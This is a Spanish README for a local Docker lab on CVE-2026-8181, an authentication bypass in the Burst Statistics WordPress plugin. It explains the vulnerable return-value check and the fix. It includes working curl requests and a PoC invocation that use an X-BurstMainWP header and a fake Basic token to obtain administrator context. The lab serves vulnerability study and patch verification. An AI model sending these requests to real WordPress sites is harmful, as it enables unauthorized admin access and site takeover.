
Laboratorio Docker únicamente local para CVE-2026-8181, una omisión de autenticación en el plugin de WordPress Burst Statistics – Privacy-Friendly WordPress Analytics.
Este laboratorio compara una versión vulnerable del plugin con la versión corregida y utiliza un PoC de mínimo daño para demostrar la diferencia sin crear usuarios, subir archivos ni modificar el estado de WordPress.
Plugin afectado: Burst Statistics – Privacy-Friendly WordPress Analytics
Versiones afectadas: de 3.4.0 a 3.4.1.1
Versión corregida: 3.4.2
Tipo de vulnerabilidad: Omisión de autenticación / Autenticación incorrecta
Impacto: Un atacante no autenticado puede hacerse pasar por un administrador durante una solicitud a la API REST si conoce un nombre de usuario de administrador válido.
En este laboratorio:
vuln ejecuta Burst Statistics 3.4.1.1patched ejecuta Burst Statistics 3.4.2X-BurstMainWP: 1El servicio seed instala WordPress, crea el administrador del laboratorio y activa Burst Statistics en ambos entornos.
Nombre de usuario del administrador del laboratorio:
labadmin
El PoC utiliza intencionadamente una contraseña incorrecta para demostrar la omisión.
Burst Statistics incluye una ruta de autenticación proxy relacionada con MainWP. Cuando una solicitud a la API REST incluye esta cabecera:
X-BurstMainWP: 1
Burst delega la autenticación en MainWP_Proxy::is_mainwp_authenticated().
En la versión vulnerable, la función lee las credenciales de autenticación Basic controladas por el atacante, extrae el nombre de usuario y la contraseña, y las pasa al núcleo de WordPress:
$is_valid = wp_authenticate_application_password( null, $username, $password );
El error está en la comprobación del valor de retorno.
3.4.1.1Simplificado a partir de includes/Frontend/class-mainwp-proxy.php:
$is_valid = wp_authenticate_application_password( null, $username, $password );
if ( is_wp_error( $is_valid ) ) {
return false;
}
$user = get_user_by( 'login', $username );
if ( ! $user || ! user_can( $user, 'manage_burst_statistics' ) ) {
return false;
}
wp_set_current_user( $user->ID );
return true;
El código vulnerable solo rechaza WP_Error. Sin embargo, wp_authenticate_application_password() puede devolver null u otro valor que no sea un usuario cuando la autenticación en realidad no ha tenido éxito. Dado que null no es un WP_Error, la comprobación se supera.
Después, el plugin busca el nombre de usuario proporcionado y llama a:
wp_set_current_user( $user->ID );
Esto hace que WordPress trate la solicitud actual a la API REST como si fuera ese usuario. Si el nombre de usuario pertenece a un administrador, las comprobaciones de capacidades de WordPress ven a un administrador durante el resto de la solicitud.
La versión corregida soluciona la comprobación de autenticación al exigir un objeto de usuario autenticado real antes de continuar.
3.4.2Conceptualmente, la corrección es:
$authenticated_user = wp_authenticate_application_password( null, $parts[0], $parts[1] );
remove_filter( 'application_password_is_api_request', $allow_application_password_request, 999 );
if ( ! $authenticated_user instanceof \WP_User ) {
return false;
}
El cambio importante es que un valor de retorno meramente "sin error" ya no es suficiente. El resultado de la autenticación debe ser un objeto \WP_User real.
Esto bloquea la ruta vulnerable en la que null evita la antigua comprobación is_wp_error().
El laboratorio demuestra una prueba de solo lectura mediante:
/wp/v2/users/me?context=edit
Ese endpoint es suficiente para mostrar si WordPress considera autenticada la solicitud.
El impacto en el mundo real puede ser mayor que el de esta prueba de laboratorio. Si un atacante puede hacerse pasar por un administrador en una solicitud a la API REST, podría acceder a endpoints privilegiados de WordPress. En configuraciones comunes de WordPress, el acceso de administrador puede conducir a la toma de control persistente del sitio mediante la creación de cuentas, contraseñas de aplicación, instalación de plugins, modificación de temas u otras acciones administrativas.
Este repositorio evita intencionadamente esas rutas destructivas.
docker compose up -d --build
Espera a que finalice el servicio seed de un solo uso:
docker compose logs seed
Salida esperada del seed:
[+] vuln: Burst Statistics version = 3.4.1.1
[+] patched: Burst Statistics version = 3.4.2
[+] Seed complete
Instala la dependencia de Python:
python3 -m venv .venv
source .venv/bin/activate
pip install requests
Ejecuta el PoC contra el servicio vulnerable:
python poc/poc.py --base-url http://127.0.0.1:8081 --admin-user labadmin
Resultado esperado en el servicio vulnerable:
=== baseline without bypass headers ===
status: 401
=== with X-BurstMainWP + fake Basic password ===
status: 200
roles: ["administrator"]
[+] LIKELY VULNERABLE: request was treated as an authenticated user/admin context.
Ejecuta el mismo PoC contra el servicio corregido:
python poc/poc.py --base-url http://127.0.0.1:8082 --admin-user labadmin
Resultado esperado en el servicio corregido:
=== baseline without bypass headers ===
status: 401
=== with X-BurstMainWP + fake Basic password ===
status: 401
[+] LIKELY PATCHED/NOT VULNERABLE: bypass headers did not authenticate the request.
Genera un token de autenticación Basic falso:
TOKEN=$(printf 'labadmin:not-the-real-password' | base64)
Solicitud de referencia sin cabeceras de omisión:
curl -sS -i \
'http://127.0.0.1:8081/?rest_route=/wp/v2/users/me&context=edit'
Esperado:
HTTP/1.1 401 Unauthorized
rest_not_logged_in
Intento de omisión:
curl -sS -i \
-H 'X-BurstMainWP: 1' \
-H "Authorization: Basic $TOKEN" \
'http://127.0.0.1:8081/?rest_route=/wp/v2/users/me&context=edit'
Esperado:
HTTP/1.1 200 OK
"slug":"labadmin"
"roles":["administrator"]
Ejecuta el mismo intento de omisión contra el servicio corregido:
curl -sS -i \
-H 'X-BurstMainWP: 1' \
-H "Authorization: Basic $TOKEN" \
'http://127.0.0.1:8082/?rest_route=/wp/v2/users/me&context=edit'
Esperado:
HTTP/1.1 401 Unauthorized
rest_not_logged_in
El servicio vulnerable muestra claramente el cambio de comportamiento:
GET /?rest_route=/wp/v2/users/me&context=edit 401
GET /?rest_route=/wp/v2/users/me&context=edit 200
El servicio corregido rechaza tanto los intentos no autenticados como los de omisión:
GET /?rest_route=/wp/v2/users/me&context=edit 401
GET /?rest_route=/wp/v2/users/me&context=edit 401
Este PoC está diseñado intencionadamente para causar el mínimo daño:
Utiliza este laboratorio únicamente en tu propio entorno Docker local.
| Servicio | Descripción | URL |
|---|
vuln | WordPress + Burst Statistics 3.4.1.1 | http://127.0.0.1:8081 |
patched | WordPress + Burst Statistics 3.4.2 | http://127.0.0.1:8082 |
db_vuln | MySQL para el WordPress vulnerable | Solo interno |
db_patched | MySQL para el WordPress corregido | Solo interno |
seed | Contenedor de configuración WP-CLI de un solo uso | Solo interno |